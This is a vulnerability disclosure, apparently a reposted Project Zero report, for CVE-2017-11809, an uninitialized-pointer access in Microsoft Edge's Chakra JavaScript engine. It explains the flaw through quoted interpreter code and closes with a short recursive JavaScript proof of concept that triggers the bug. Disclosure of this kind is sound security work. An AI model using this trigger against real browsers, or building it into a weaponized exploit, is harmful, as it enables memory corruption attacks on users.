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Microsoft Edge Chakra StackScriptFunction::BoxState::Box Uninitialized Pointers

Posted on 15 October 2017

Microsoft Edge: Chakra: Accesses to uninitialized pointers in StackScriptFunction::BoxState::Box

CVE-2017-11809

Here's a snippet of the method that interprets a javascript function's bytecode.

Js::Var Js::InterpreterStackFrame::INTERPRETERLOOPNAME()
{
PROBE_STACK(scriptContext, Js::Constants::MinStackInterpreter); <<----- (a)

if (!this->closureInitDone)
{
Assert(this->m_reader.GetCurrentOffset() == 0);
this->InitializeClosures(); <<------- (b)
}

...
... interprets the bytecode

...

At (b), it initializes the local variables of the javascript function. In the PoC, the variables a, b and c are initialized.
But at (a), if it fails to allocate Js::Constants::MinStackInterpreter bytes to the stack, it throws an exception which leads to the following code.

void StackScriptFunction::BoxState::Box()
{
...

if (callerFunctionBody->DoStackScopeSlots())
{
Var* stackScopeSlots = (Var*)interpreterFrame->GetLocalClosure();
if (stackScopeSlots)
{
Var* boxedScopeSlots = this->BoxScopeSlots(stackScopeSlots, ScopeSlots(stackScopeSlots).GetCount());
interpreterFrame->SetLocalClosure((Var)boxedScopeSlots);
}
...
...

"stackScopeSlots" contains the local variables that were supposed to be initialized at (b). So it results in accessing the uninitialized pointers.

It's a little difficult to trigger this in Edge. So I recommend to use the command: ./Debug/ch -NoNative ~/test.js.

PoC:
function trigger() {
let a, b, c;

function g() {
trigger();

a, b, c;
}

g();
}

trigger();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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